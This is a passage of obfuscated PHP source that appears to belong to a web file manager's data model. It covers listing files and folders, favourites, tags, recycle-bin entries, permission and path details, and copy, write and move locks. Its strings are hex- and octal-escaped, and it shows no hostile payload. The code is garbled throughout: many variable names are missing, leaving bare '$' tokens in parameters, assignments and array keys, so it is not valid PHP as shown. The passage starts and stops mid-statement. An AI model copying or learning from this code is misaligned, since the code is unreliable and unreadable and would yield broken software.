array("\164\141\142\154\x65\x4e\x61\155\x65" => "\x69\157\137\163\x6f\165\x72\143\x65\x5f\155\145\x74\141", "\x6d\x65\x74\x61\x46\x69\x65\x6c\144" => "\x73\157\x75\x72\143\x65\111\x44"); protected $dataAuto = array(array("\155\157\144\151\146\171\124\x69\x6d\x65", "\164\x69\x6d\145", "\x69\156\163\x65\162\164", "\x66\x75\156\143\x74\x69\x6f\156"), array("\143\x72\145\141\x74\x65\124\x69\155\x65", "\164\x69\x6d\145", "\151\156\163\145\162\164", "\x66\165\156\143\164\x69\157\156"), array("\166\151\x65\167\x54\x69\155\x65", "\x74\151\155\145", "\151\156\x73\145\x72\x74", "\146\165\156\x63\164\151\x6f\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($Ҕ) { return $this->listSource(array($_SERVER[՟][486] => $Ҕ)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\163\171\163\164\x65\x6d", self::TYPE_USER => "\x75\163\145\x72", self::TYPE_GROUP => "\x67\162\x6f\165\x70"); return $[$ . $_SERVER[՟][12]]; } public function sourceListInfo($酚, $܅ = false) { $ =& $_SERVER[՟]; $酚 = $酚 ? $酚 : array(); $酚 = array_filter(array_unique($酚)); if (!$酚) { return array(); } $ = $this->where(array($[203] => array($[7], $酚)))->select(); $this->_listDataApply($, $܅); return array_to_keyvalue($, $[203]); } public function pathInfoFilter(&$) { $ا =& $_SERVER[՟]; static $ſ = false; static $ɘ = false; static $ = false; if (!$ſ) { $Ɏ = $ا[487]; $Ɏ .= $ا[488]; $Ɏ .= $ا[489]; $ߪ = $ا[490]; $ = explode($ا[50], $ߪ); $ſ = explode($ا[50], $Ɏ); $ɘ = array(); foreach ($ſ as $Î) { if (in_array($Î, $)) { continue; } $ɘ[] = $Î; } $ = explode($ا[50], $ا[491]); } foreach ($ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$ا[97]] = $ا[492] . $[$ا[203]] . $ا[493]; $[$ا[33]] = $[$ا[494]] == 1 ? $ا[88] : $ا[240]; $[$ا[200]] = $this->typeName($[$ا[200]]); if ($[$ا[494]] != 1) { $[$ا[179]] = $[$ا[495]]; unset($[$ا[495]]); } $ŋ = $ſ; if (isset($[$ا[496]]) && $[$ا[496]][$ا[497]] == -1) { $ŋ = $ɘ; } $ = array_field_key($, $ŋ); return $; } public function listUserFav() { $ĕ =& $_SERVER[՟]; $ = Model($ĕ[498])->listData(); $Α = array_filter_by_field($, $ĕ[33], $ĕ[499]); $Α = array_to_keyvalue($Α, $ĕ[12], $ĕ[97]); if ($Α) { $ = $this->listSource(array($ĕ[500] => array($ĕ[501], $Α))); } $ = array_to_keyvalue($[$ĕ[454]], $ĕ[203]); foreach ($ as &$֢ɂ) { $֢ɂ = array($ĕ[502] => $֢ɂ[$ĕ[484]], $ĕ[503] => $֢ɂ[$ĕ[32]], $ĕ[504] => $֢ɂ[$ĕ[97]], $ĕ[505] => $֢ɂ[$ĕ[33]], $ĕ[506] => $֢ɂ[$ĕ[241]], $ĕ[507] => $֢ɂ[$ĕ[98]]); if ($֢ɂ[$ĕ[33]] == $ĕ[499] && $[$֢ɂ[$ĕ[97]]]) { $֢ɂ[$ĕ[100]] = $[$֢ɂ[$ĕ[97]]]; } } unset($֢ɂ); return $; } public function listUserTag($) { $¥ =& $_SERVER[՟]; if ($ && !is_array($)) { $ = array($); } $ = Model($¥[508])->listData(); $٭ = array(); $ = array(); foreach ($ as $Ն) { $ȭ = $Ն[$¥[97]]; if (!$ȭ) { continue; } if (!isset($[$ȭ])) { $[$ȭ] = array(); } $[$ȭ][] = $Ն[$¥[509]]; $٭[$Ն[$¥[97]]] = $Ն; } $ο = array(); $ = array(); $ʊ = array(); foreach ($ as $൵ => $ҧ߶) { $З = !0; if (!$) { $ο[] = $൵; continue; } foreach ($ as $裀) { if (!in_array($裀, $ҧ߶)) { $З = !1; break; } } if (!$З) { continue; } if (!is_numeric($൵)) { $ = $٭[$൵]; $ = array($¥[32] => $[$¥[32]], $¥[97] => $[$¥[97]], $¥[33] => $[$¥[33]], $¥[100] => array($¥[510] => 1), $¥[242] => !0); if ($[$¥[33]] == $¥[240]) { $ʊ[] = $; } if ($[$¥[33]] == $¥[88]) { $[] = $; } continue; } $ο[] = $൵; } if ($ο) { $Ž = $this->listSource(array($¥[500] => array($¥[501], $ο))); } $Ž = $Ž ? $Ž : array($¥[95] => array(), $¥[96] => array()); $Ž[$¥[95]] = array_merge($Ž[$¥[95]], $); $Ž[$¥[96]] = array_merge($Ž[$¥[96]], $ʊ); if (isset($Ž[$¥[451]]) && count($ο) == $Ž[$¥[451]][$¥[452]]) { return $Ž; } $ɚ = array(); $ᕩ = array_to_keyvalue($Ž[$¥[95]], $¥[12], $¥[203]); $ڒ = array_to_keyvalue($Ž[$¥[96]], $¥[12], $¥[203]); $ = array_merge($ڒ, $ᕩ); foreach ($ο as $ȭ) { if (!in_array($ȭ, $)) { $ɚ[] = $ȭ; } } if ($ɚ) { Model($¥[511])->removeBySource($ɚ); } return $Ž; } public function listUserRecycle() { $ =& $_SERVER[՟]; $܍ = Model($[512])->listData(); if (!$܍) { return array(); } $ȟì = array($[500] => array($[501], $܍), $[513] => 1); return $this->listSource($ȟì); } public function listSource($Ԓл, $Ѽ = 3000, $ = false) { $䩛 =& $_SERVER[՟]; if (!isset($Ԓл[$䩛[514]])) { $Ԓл[$䩛[514]] = 0; } if (isset($Ԓл[$䩛[202]]) && $Ԓл[$䩛[202]] == $䩛[238]) { $Ԓл[$䩛[495]] = array($䩛[515], $䩛[12]); } $ʶ = $䩛[516]; $֗ = $this->field($ʶ)->_makeOrder()->where($Ԓл)->selectPage($Ѽ); $this->_listPageCheck($֗, $ʶ, $Ԓл); $this->_listDataApply($֗[$䩛[454]], $); $this->_listMake($֗); return $֗; } private function _listPageCheck(&$, $⡂ݻ, $Ԡ) { $Ǎ =& $_SERVER[՟]; if (!is_array($[$Ǎ[451]])) { return; } $ = $[$Ǎ[451]]; if ($[$Ǎ[453]] <= 1) { return; } if ($[$Ǎ[452]] >= 100000) { return; } if (Model($Ǎ[517])->get($Ǎ[518]) != $Ǎ[519]) { return; } $⡂ݻ = str_replace(array($Ǎ[53], $Ǎ[427], $Ǎ[59]), $Ǎ[12], $⡂ݻ); $⡂ݻ = $Ǎ[520] . str_replace($Ǎ[50], $Ǎ[521], $⡂ݻ) . $Ǎ[522]; $б蚇 = $Ǎ[523]; $б蚇 = $б蚇 . $Ǎ[524]; $ = $[$Ǎ[448]] * ($[$Ǎ[438]] - 1) . $Ǎ[50] . $[$Ǎ[448]]; $ = $this->_makeOrder(!0); $ԡޡ = $Ǎ[520] . str_replace($Ǎ[50], $Ǎ[521], $[0]); if (strpos($ԡޡ, $Ǎ[525])) { $ԡޡ = str_replace($Ǎ[525], $Ǎ[526], $ԡޡ); } else { $ԡޡ .= $Ǎ[527] . $[1]; } $ = array(); foreach ($Ԡ as $Ԉ => $Һ) { $[$Ǎ[520] . $Ԉ] = $Һ; } $this->alias($Ǎ[528])->field($⡂ݻ)->limit($)->order($ԡޡ); $NJ = $this->join($б蚇)->where($)->select(); if ($NJ) { $[$Ǎ[454]] = $NJ; } } protected function _makeOrder($ = false) { $ى =& $_SERVER[՟]; $ = Model($ى[529])->get($ى[530]); $ʹ = Model($ى[529])->get($ى[531]); $ = array($ى[532] => $ى[533], $ى[534] => $ى[535]); $ɸ = array($ى[32] => $ى[32], $ى[89] => $ى[89], $ى[179] => $ى[495], $ى[536] => $ى[536], $ى[537] => $ى[538], $ى[241] => $ى[241], $ى[98] => $ى[98]); $ = Input::get($ى[539], $ى[7], $, array_keys($ɸ)); $땧 = Input::get($ى[540], $ى[7], $ʹ, array_keys($)); if (!in_array($, array_keys($ɸ))) { $ = $ى[32]; } if (!in_array($땧, array_keys($))) { $ = $ى[532]; } if ($ == $ى[32]) { } $֖ = $ى[541] . $ɸ[$] . $ى[53] . $[$땧]; $֖ = rtrim(trim($֖), $ى[50]); if ($) { return array($֖, $[$땧]); } return $this->order($֖); } protected function _listDataApplyItem($܌, $ܲ = false) { $ = array($܌); $this->_listDataApply($, $ܲ); return $[0]; } protected function _listDataApply(&$ݕɤ, $ = false) { $ǥ =& $_SERVER[՟]; if (!$ݕɤ) { $ݕɤ = array(); return; } $ə = array_to_keyvalue($ݕɤ, $ǥ[12], $ǥ[203]); $ə = array_unique($ə); $this->_listSourceCache($ݕɤ); if (!$) { $this->_listAppendMeta($ݕɤ, $ə); $this->_listAppendFileMeta($ݕɤ, $ə); $this->_listAppendChildren($ݕɤ, $ə); } $this->_listAppendPath($ݕɤ); $this->_listAppendAuth($ݕɤ); $this->_listAppendSourceInfo($ݕɤ, $ə); $this->_listAppendUser($ݕɤ); $this->_listFilterInfo($ݕɤ, $); $this->_listAppendAuthSecret($ݕɤ); } protected function _listSourceCache($) { $ɹ =& $_SERVER[՟]; foreach ($ as $ބ) { self::$cacheSourceInfo[$ɹ[542] . $ބ[$ɹ[203]]] = $ބ; } } protected function _listFilterInfo(&$ɩ, $þ = false) { $ =& $_SERVER[՟]; foreach ($ɩ as &$Ҿ) { $Ҿ = $this->pathInfoFilter($Ҿ); self::$cachePathInfo[$[543] . intval($þ) . $[471] . $Ҿ[$[203]]] = $Ҿ; } unset($Ҿ); } protected function _listMake(&$) { $ۉ =& $_SERVER[՟]; $[$ۉ[95]] = array(); $[$ۉ[96]] = array(); foreach ($[$ۉ[454]] as $ד) { $Ȥ = $ד[$ۉ[494]] == 1 ? $ۉ[95] : $ۉ[96]; $[$Ȥ][] = $ד; } unset($[$ۉ[454]]); } protected function _listAppendMeta(&$ɯ, $) { $ =& $_SERVER[՟]; $ズ = array($[500] => array($[501], $)); $ = Model($[544])->field($[545])->where($ズ)->select(); if (!$) { return; } $ = array($[546], $[547], $[526]); $쿊 = array(); foreach ($ as $) { if (!isset($쿊[$[$[203]]])) { $쿊[$[$[203]]] = array(); } if (in_array($[$[107]], $)) { continue; } $쿊[$[$[203]]][$[$[107]]] = $[$[459]]; } foreach ($ɯ as &$) { $[$[548]] = !1; if (isset($쿊[$[$[203]]])) { $[$[548]] = $쿊[$[$[203]]]; } if ($this->fileIsLock($) && $[$[496]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$[496]][$[497]] = AuthModel::authDisable($[$[496]][$[497]], $); $[$[496]][$[549]][$[496]] = $[$[496]][$[497]]; } } unset($); } protected function _listAppendFileMeta(&$ʊ, $) { $ހ =& $_SERVER[՟]; $ = array_to_keyvalue($ʊ, $ހ[12], $ހ[550]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($ހ[551] => array($ހ[501], $)); $뇅 = $ހ[552]; $ = Model($ހ[553])->field($뇅)->where($)->select(); $ = array_to_keyvalue($, $ހ[550]); $ = Model($ހ[554])->field($ހ[555])->where($)->select(); $ = $ ? $ : array(); $ް = array(); foreach ($ as $) { if (!isset($ް[$[$ހ[550]]])) { $ް[$[$ހ[550]]] = array(); } $ް[$[$ހ[550]]][$[$ހ[107]]] = $[$ހ[459]]; } foreach ($ʊ as &$î) { $ = $î[$ހ[550]]; if (!$ || !is_array($[$])) { continue; } $Ű = $[$]; $Ű[$ހ[89]] = $î[$ހ[89]]; $Ű[$ހ[32]] = $î[$ހ[32]]; if (!$Ű[$ހ[556]]) { Model($ހ[553])->fileMd5Check($Ű); } if (!isset(self::$cacheFileInfo[$ހ[557] . $])) { self::$cacheFileInfo[$ހ[557] . $] = array_merge(array(), $Ű); } unset($[$][$ހ[97]]); $ⲡ = isset($ް[$]) && is_array($ް[$]) ? $ް[$] : array(); $î[$ހ[180]] = array_merge($ⲡ, $[$]); if (isset($î[$ހ[180]][$ހ[194]])) { $î[$ހ[194]] = json_decode($î[$ހ[180]][$ހ[194]], !0); unset($î[$ހ[180]][$ހ[194]]); } } unset($î); } protected function _listAppendSourceInfo(&$х, $۳ť) { $ =& $_SERVER[՟]; $ψ = Model($[558])->listData(); $ = Model($[508])->listData(); $ܽٱ = Model($[498])->listData(); $ = Model($[559])->listSimple(); $ = array_to_keyvalue($ψ, $[484]); $͐ = array_to_keyvalue_group($, $[97], $[509]); $ڥ = array_to_keyvalue($ܽٱ, $[97]); $ = array_to_keyvalue_group($, $[203]); foreach ($х as &$嘓) { $嘓[$[100]] = array($[560] => 0, $[561] => 0, $[562] => 0); if (isset($ڥ[$嘓[$[203]]])) { $嘓[$[100]][$[563]] = 1; $嘓[$[100]][$[564]] = $ڥ[$嘓[$[203]]][$[32]]; } if ($͐ && $ && isset($͐[$嘓[$[203]]])) { $嘓[$[100]][$[565]] = array(); foreach ($͐[$嘓[$[203]]] as $ɬ) { $٭ = $[$ɬ]; $嘓[$[100]][$[565]][] = array($[566] => $٭[$[484]], $[503] => $٭[$[32]], $[567] => $٭[$[568]]); } } if ($ && isset($[$嘓[$[203]]])) { $嘓[$[100]][$[569]] = array(); foreach ($[$嘓[$[203]]] as $) { $܋ = $[570]; if ($[$[571]] == $[101]) { $܋ .= $[572]; } $嘓[$[100]][$[569]] = array_field_key($, explode($[50], $܋)); } } } unset($嘓); return $х; } protected function _listAppendChildren(&$, $) { $ܚ =& $_SERVER[՟]; $ԱΞ = array(); $ = array($ܚ[249] => 0, $ܚ[250] => 0); foreach ($ as &$㼥) { if (!$㼥[$ܚ[494]]) { continue; } $ԱΞ[] = $㼥[$ܚ[203]]; } unset($㼥); if (!$ԱΞ) { return; } $ = array($ܚ[202] => array($ܚ[7], $ԱΞ), $ܚ[514] => 0); $ = array($ܚ[202], $ܚ[494], $ܚ[573] => $ܚ[574]); $͉ = $this->field($)->where($)->group($ܚ[575])->select(); $ = array(); foreach ($͉ as $쨑) { $ = $쨑[$ܚ[202]]; $̢ = $쨑[$ܚ[494]] == $ܚ[101] ? $ܚ[250] : $ܚ[249]; if (!isset($[$])) { $[$] = array($ܚ[249] => 0, $ܚ[250] => 0); } $[$][$̢] += $쨑[$ܚ[574]]; } foreach ($ as &$㼥) { if (!$㼥[$ܚ[494]]) { continue; } $ = is_array($[$㼥[$ܚ[203]]]) ? $[$㼥[$ܚ[203]]] : $; $㼥[$ܚ[250]] = $[$ܚ[250]]; $㼥[$ܚ[249]] = $[$ܚ[249]]; unset($㼥[$ܚ[495]]); } unset($㼥); } protected function _listAppendAuth(&$) { $ڷ =& $_SERVER[՟]; $˴ԑԀ = array(); foreach ($ as $퇔ƍ) { if ($퇔ƍ[$ڷ[200]] == self::TYPE_GROUP) { $˴ԑԀ[] = $퇔ƍ[$ڷ[203]]; } } if (!$˴ԑԀ) { return; } $՜ = array_to_keyvalue($, $ڷ[203]); $҈ = Model($ڷ[576])->getSourceList($˴ԑԀ, $՜); $ = KodUser::isRoot(); foreach ($ as $ʄ => &$퇔ƍ) { $퇔ƍ[$ڷ[496]] = $҈[$퇔ƍ[$ڷ[203]]]; if (!$퇔ƍ[$ڷ[496]] && $퇔ƍ[$ڷ[200]] == self::TYPE_GROUP) { $퇔ƍ[$ڷ[496]] = Action($ڷ[577])->pathGroupAuthMake($퇔ƍ[$ڷ[578]]); if (!$퇔ƍ[$ڷ[496]] && !$) { $퇔ƍ[$ڷ[243]] = !1; $퇔ƍ[$ڷ[242]] = !1; } } if ($퇔ƍ[$ڷ[496]]) { $퇔ƍ[$ڷ[243]] = AuthModel::authCheckEdit($퇔ƍ[$ڷ[496]][$ڷ[497]]); $퇔ƍ[$ڷ[242]] = AuthModel::authCheckView($퇔ƍ[$ڷ[496]][$ڷ[497]]); } $this->groupPathDisplay($퇔ƍ); } unset($퇔ƍ); } public function _listAppendAuthSecret(&$) { $։ =& $_SERVER[՟]; if (Model($։[517])->get($։[579]) != $։[101]) { return; } static $ = false; if (!$) { $㔾 = Model($։[580]); $Ί = Model($։[581]); $ = $Ί->listData(); $ = array_to_keyvalue($, $։[203]); $מɬ = json_decode(Model($։[517])->get($։[582]), !0); $מɬ = array_to_keyvalue($מɬ, $։[484]); foreach ($ as $ߖ => $ŝ) { $ = $מɬ[$ŝ[$։[583]]]; if (!$) { $Ί->remove($ŝ[$։[484]]); unset($[$ߖ]); continue; } $ = $㔾->listData($[$։[496]]); if (!$) { $Ί->remove($ŝ[$։[484]]); unset($[$ߖ]); continue; } $ŝ[$։[496]] = $; $ŝ[$։[584]] = $; $ŝ[$։[585]] = Model($։[586])->getInfoSimpleOuter($ŝ[$։[536]]); $[$ߖ] = $ŝ; } } $ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $ߖ => &$ŝ) { if (!is_array($ŝ[$։[496]])) { continue; } if ($ŝ[$։[200]] != $։[587]) { continue; } if (isset($[$ŝ[$։[203]]])) { $ԇј = $[$ŝ[$։[203]]]; if (!is_array($ŝ[$։[548]])) { $ŝ[$։[548]] = array(); } $ŝ[$։[548]][$։[588]] = $ԇј[$։[583]]; $ŝ[$։[496]][$։[589]] = $ԇј; $ŝ[$։[496]][$։[590]] = $ŝ[$։[591]]; $ŝ[$։[496]][$։[592]] = $։[101]; if ($ԇј[$։[536]] != $) { $ŝ[$։[496]][$։[497]] = $ŝ[$։[496]][$։[497]] & $ԇј[$։[496]][$։[496]]; } continue; } $ = $this->parentLevelArray($ŝ[$։[593]]); $̰ = array_reverse($); foreach ($̰ as $ => $ݽ駁) { if (!isset($[$ݽ駁])) { continue; } $ԇј = $[$ݽ駁]; $ŝ[$։[496]][$։[589]] = $ԇј; if ($ԇј[$։[536]] != $) { $ŝ[$։[496]][$։[497]] = $ŝ[$։[496]][$։[497]] & $ԇј[$։[496]][$։[496]]; } $Ʉ = $։[12]; $ = count($) - $; for ($կ = 0; $կ < $; $կ++) { if (!isset($[$[$կ]])) { $Ʉ = $։[12]; break; } $Ʉ = $Ʉ . rtrim($[$[$կ]], $։[8]) . $։[8]; } $ŝ[$։[496]][$։[590]] = rtrim($Ʉ, $։[8]) . $։[8]; break; } } unset($ŝ); } public function groupPathDisplay(&$) { $٣ȴ =& $_SERVER[՟]; if ($[$٣ȴ[200]] != self::TYPE_GROUP) { return; } $˨΅ = Model($٣ȴ[594])->getInfo($[$٣ȴ[578]]); $ = $this->parentLevelArray($˨΅[$٣ȴ[593]]); $ݺ = $٣ȴ[12]; foreach ($ as $ə) { $ʃȲ = Model($٣ȴ[594])->getInfo($ə); $ݺ .= $ʃȲ[$٣ȴ[100]][$٣ȴ[203]] . $٣ȴ[50]; } $[$٣ȴ[595]] = $˨΅[$٣ȴ[202]]; $[$٣ȴ[596]] = $˨΅[$٣ȴ[593]]; $[$٣ȴ[597]] = $˨΅[$٣ȴ[598]]; $[$٣ȴ[599]] = $ݺ . $˨΅[$٣ȴ[100]][$٣ȴ[203]]; } protected function _listAppendPath(&$, $ = false) { $ =& $_SERVER[՟]; static $ = array(); $̌ = array(); $ = array(); if ($) { return $; } foreach ($ as &$ޠ) { $Ђ = $ޠ[$[203]]; if ($ޠ[$[494]] == $[101] && $ޠ[$[202]] != 0) { $[$Ђ] = $ޠ[$[32]]; } if ($ޠ[$[494]] == $[101] && $ޠ[$[202]] == 0) { $[$Ђ] = $this->_listAppendPathRoot($ޠ, array()); } if (isset($[$ޠ[$[593]]])) { continue; } $[$ޠ[$[593]]] = !0; $ = $this->parentLevelArray($ޠ[$[593]]); foreach ($ as $ => $Dz) { if (isset($[$Dz])) { continue; } if ($ == 0) { $[$Dz] = $this->_listAppendPathRoot($ޠ, $); } if ($ != 0) { $̌[] = $Dz; } } } unset($ޠ); $̌ = array_unique($̌); if (count($̌) > 0) { $Ȏ͔ = array($[500] => array($[501], $̌)); if (count($̌) == 1) { $ = $this->sourceInfo($̌[0]); $Ѓ = is_array($) ? array($) : !1; } else { $Ѓ = $this->field($[600])->where($Ȏ͔)->select(); } if (!$Ѓ) { $Ѓ = array(); } foreach ($Ѓ as $) { $[$[$[203]]] = $[$[32]]; } } $ΐ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $⌈ = array(); foreach ($ as &$ޠ) { $Ό = $ޠ[$[593]]; $ь = $[12]; if (isset($⌈[$Ό])) { $ь = $⌈[$Ό]; } else { $ = $this->parentLevelArray($ޠ[$[593]]); foreach ($ as $ => $Dz) { if (isset($[$Dz])) { $ь .= $[$Dz] . $[8]; } } $⌈[$Ό] = $ь; } $ь .= $ޠ[$[32]]; if ($ޠ[$[494]] == $[101]) { $ь .= $[8]; } $ޠ[$[591]] = str_replace($[601], $[8], $ь); if ($ޠ[$[202]] == $[238]) { $ޠ[$[32]] = trim($[$ޠ[$[203]]], $[8]); $ޠ[$[591]] = $ޠ[$[32]] . $[8]; } if (intval($ޠ[$[200]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($ޠ, $, $ΐ); } } unset($ޠ); return $; } private function _listAppendPathRecycle(&$, $, $ك) { $迎 =& $_SERVER[՟]; if (!in_array($ك, $) && $[$迎[203]] != $ك) { return; } $ۙ = explode($迎[8], trim($[$迎[591]], $迎[8])); $Ѻҝ = implode($迎[8], array_slice($ۙ, 2)); $[$迎[591]] = $迎[8] . LNG($迎[602]) . $迎[8] . ltrim($Ѻҝ, $迎[8]); $[$迎[593]] = $迎[603] . implode($迎[50], array_slice($, 1)) . $迎[50]; if ($[$迎[203]] == $ك) { $[$迎[593]] = $迎[603]; $[$迎[202]] = $迎[238]; $[$迎[32]] = LNG($迎[602]); } $[$迎[604]] = $迎[605]; } protected function _listAppendPathRoot(&$, $ɱ) { $ =& $_SERVER[՟]; static $˖ = false; $ = $[12]; if ($[$[200]] == self::TYPE_USER) { if ($[$[578]] == USER_ID) { $ = LNG($[606]); if ($˖ === !1) { $ = Model($[607])->getInfoFull(USER_ID); $˖ = _get($, $[608], $[12]); } if ($ɱ && $ɱ[0] == $˖ || !$ɱ && $[$[203]] == $˖) { $ = LNG($[609]); $[$[610]] = $[611]; } if (!$ɱ) { $[$[32]] = $; } } else { $[$[612]] = Model($[586])->getInfoSimpleOuter($[$[578]]); $ = LNG($[613]) . $[186] . $[$[612]][$[32]] . $[188]; } } else { if ($[$[200]] == self::TYPE_GROUP) { $ϐճ = Model($[594])->getInfoSimple($[$[578]]); $ = $ϐճ[$[32]]; } else { if ($[$[200]] == self::TYPE_SYSTEM) { $ = $[614]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$ɇ) { $٣ =& $_SERVER[՟]; $ = array_to_keyvalue($ɇ, $٣[12], $٣[536]); $슸 = array_to_keyvalue($ɇ, $٣[12], $٣[538]); $¯ = array_merge($, $슸); $ꁇ = Model($٣[607])->userListInfo($¯); foreach ($ɇ as &$ն) { $ƿ = $ն[$٣[536]]; $ն[$٣[536]] = $ꁇ[$ƿ] ? $ꁇ[$ƿ] : !1; $ƿ = $ն[$٣[538]]; $ն[$٣[538]] = $ꁇ[$ƿ] ? $ꁇ[$ƿ] : !1; if (_get($ն, $٣[615], 0)) { $ = $GLOBALS[$٣[6]][$٣[102]][$٣[616]]; if ($ն[$٣[548]][$٣[617]] <= time() - $) { $this->metaSet($ն[$٣[203]], $٣[618], null); $this->metaSet($ն[$٣[203]], $٣[617], null); unset($ն[$٣[548]][$٣[618]]); continue; } $ = $ն[$٣[548]][$٣[618]]; $ն[$٣[548]][$٣[619]] = Model($٣[607])->getInfoSimpleOuter($); } } unset($ն); } public function parentLevelArray($) { $Ӏ =& $_SERVER[՟]; $ = explode($Ӏ[50], trim($, $Ӏ[50])); return array_remove_value($, $Ӏ[238]); } public function listAll($) { $Ģ =& $_SERVER[՟]; $ = $this->sourceInfo($); $͗ = array($Ģ[620] => array($Ģ[621], $[$Ģ[593]] . $ . $Ģ[622]), $Ģ[623] => 0); $Ӝ = $Ģ[624]; $ڣַ = "\x4c\105\x46\124\x20\x4a\x4f\x49\x4e\x20{$this->tablePrefix}\151\157\137\x66\x69\x6c\145\40\x66\x69\x6c\x65\40\x6f\156\x20\x73\x6f\x75\x72\143\x65\56\x66\151\154\x65\x49\104\x20\75\40\x66\x69\x6c\x65\56\146\x69\x6c\145\x49\104"; $ְ = $this->alias($Ģ[528])->field($Ӝ)->where($͗)->join($ڣַ)->select(); $this->_listAppendAuth($ְ); $this->_listAppendUser($ְ); $this->_listAppendPath($ְ); $ְ = array_to_keyvalue($ְ, $Ģ[203]); $ϐ = "\57{$[$Ģ[32]]}\57"; $ϐ = $ϐ == $Ģ[601] ? $Ģ[8] : $ϐ; $ޜ = array(); foreach ($ְ as $ => $) { $خ = $this->parentLevelArray($[$Ģ[593]]); array_shift($خ); $ = $ϐ; for ($ = 0; $ < count($خ); $++) { $ .= $ְ[$خ[$]][$Ģ[32]] . $Ģ[8]; } $ .= $[$Ģ[32]]; if ($[$Ģ[494]]) { $ .= $Ģ[8]; } $ = array($Ģ[504] => str_replace($Ģ[601], $Ģ[8], str_replace($Ģ[601], $Ģ[8], str_replace($Ģ[601], $Ģ[8], $))), $Ģ[625] => intval($[$Ģ[494]]), $Ģ[626] => intval($[$Ģ[89]]), $Ģ[98] => intval($[$Ģ[98]]), $Ģ[100] => $this->pathInfoFilter($)); if (!$[$Ģ[494]]) { $[$Ģ[550]] = $[$Ģ[550]]; } $ޜ[] = $; } $ޜ = array_sort_by($ޜ, $Ģ[97]); return $ޜ; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($ֳŏ) { $ =& $_SERVER[՟]; if (!$this->allowLock()) { return; } $this->_lockCheck($[627], $ֳŏ); $բǩ = 1; $this->_lockEvent($ֳŏ, array($[628], $[629]), $բǩ); $this->_lockParent($ֳŏ, array($[629]), $բǩ); $this->_lockEvent($ֳŏ, array($[630], $[631]), $բǩ); $this->_lockCheckEnd($[627], $ֳŏ); } public function lockCopyEnd($鍎) { $ =& $_SERVER[՟]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($鍎, array($[628], $[629]), $); $this->_lockParent($鍎, array($[629]), $); $this->_lockEvent($鍎, array($[630], $[631]), $); } public function lockWriteStart($Χ, $ = '') { $ߑĂ =& $_SERVER[՟]; if (!$this->allowLock()) { return; } $this->_lockCheck($ߑĂ[628], $Χ); $ = 1; $this->_lockKey($ߑĂ[632] . $Χ . $ߑĂ[10] . $, $); $this->_lockEvent($Χ, array($ߑĂ[627], $ߑĂ[629]), $); $this->_lockParent($Χ, array($ߑĂ[627], $ߑĂ[629]), $); $this->_lockCheckEnd($ߑĂ[628], $Χ); } public function lockWriteEnd($ז, $ژ = '') { $ӊ =& $_SERVER[՟]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ӊ[632] . $ז . $ӊ[10] . $ژ, $); $this->_lockEvent($ז, array($ӊ[627], $ӊ[629]), $); $this->_lockParent($ז, array($ӊ[627], $ӊ[629]), $); } public function lockMoveStart($ʼn) { $š =& $_SERVER[՟]; if (!$this->allowLock()) { return; } $this->_lockCheck($š[629], $ʼn); $ם = 1; $this->_lockKey($š[633] . $ʼn, $ם); $this->_lockEvent($ʼn, array($š[627], $š[628]), $ם); $this->_lockParent($ʼn, array($š[627], $š[629]), $ם); $this->_lockEvent($ʼn, array($š[634], $š[630], $š[631]), $ם); $this->_lockCheckEnd($š[629], $ʼn); } public function lockMoveEnd($) { $ =& $_SERVER[՟]; if (!$this->allowLock()) { return; } $ʼ = 0; $this->_lockKey($[633] . $, $ʼ); $this->_lockEvent($, array($[627], $[628]), $ʼ); $this->_lockParent($, array($[627], $[629]), $ʼ); $this->_lockEvent($, array($[634], $[630], $[631]), $ʼ); } private function _lockCheck($, $) { $鲄 =& $_SERVER[՟]; $ = $this->sourceInfo($); $Ѯ = $ . $鲄[10] . $; $this->_lockTimeStart[$Ѯ] = timeFloat(); if (!is_array($)) { return; } $Ҥ = LNG($鲄[635]); CacheLock::setErrorMsg($鲄[186] . htmlspecialchars($[$鲄[32]]) . $鲄[188] . $Ҥ); $this->_lockKey($Ѯ, 1); $this->_lockKey($Ѯ, 0); $Է = array_reverse($this->parentLevelArray($[$鲄[593]])); foreach ($Է as $) { $Ѯ = $ . $鲄[636] . $; if (CacheLock::lockGet($鲄[637] . $Ѯ)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($鲄[186] . htmlspecialchars($[$鲄[32]]) . $鲄[188] . $Ҥ); $this->_lockKey($Ѯ, 1); $this->_lockKey($Ѯ, 0); } } } private function _lockCheckEnd($뺻, $˳) { $˺ =& $_SERVER[՟]; $Ч = $뺻 . $˺[10] . $˳; CacheLock::setErrorMsg($˺[463]); if (!isset($this->_lockTimeStart[$Ч])) { return; } $ԛ = timeFloat() - $this->_lockTimeStart[$Ч]; unset($this->_lockTimeStart[$Ч]); if ($ԛ > 0.5) { unset(self::$cacheSourceInfo[$˺[542] . $˳]); } $݉ú = $this->sourceInfo($˳); if (!$݉ú) { show_json(LNG($˺[118]), !1); } } private function _lockParent($۳텗, $, $ƭΣ) { if (!$this->autoLockSet) { return; } $顕 = $this->sourceInfo($۳텗); if (!is_array($顕)) { return; } $ = array_reverse($this->parentLevelArray($顕[$_SERVER[՟][593]])); foreach ($ as $۟) { $this->_lockEvent($۟, $, $ƭΣ); } } private function _lockEvent($, $҄, $) { $ٔ =& $_SERVER[՟]; if (!$this->autoLockSet) { return; } foreach ($҄ as $ҙ) { $ٻ = $ҙ . $ٔ[10] . $; if ($ && CacheLock::lockGet($ٔ[637] . $ٻ)) { continue; } $this->_lockKey($ٻ, $); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($ӕ, $ݭ = 1) { $ʰ = $_SERVER[՟][637] . md5($ӕ); if 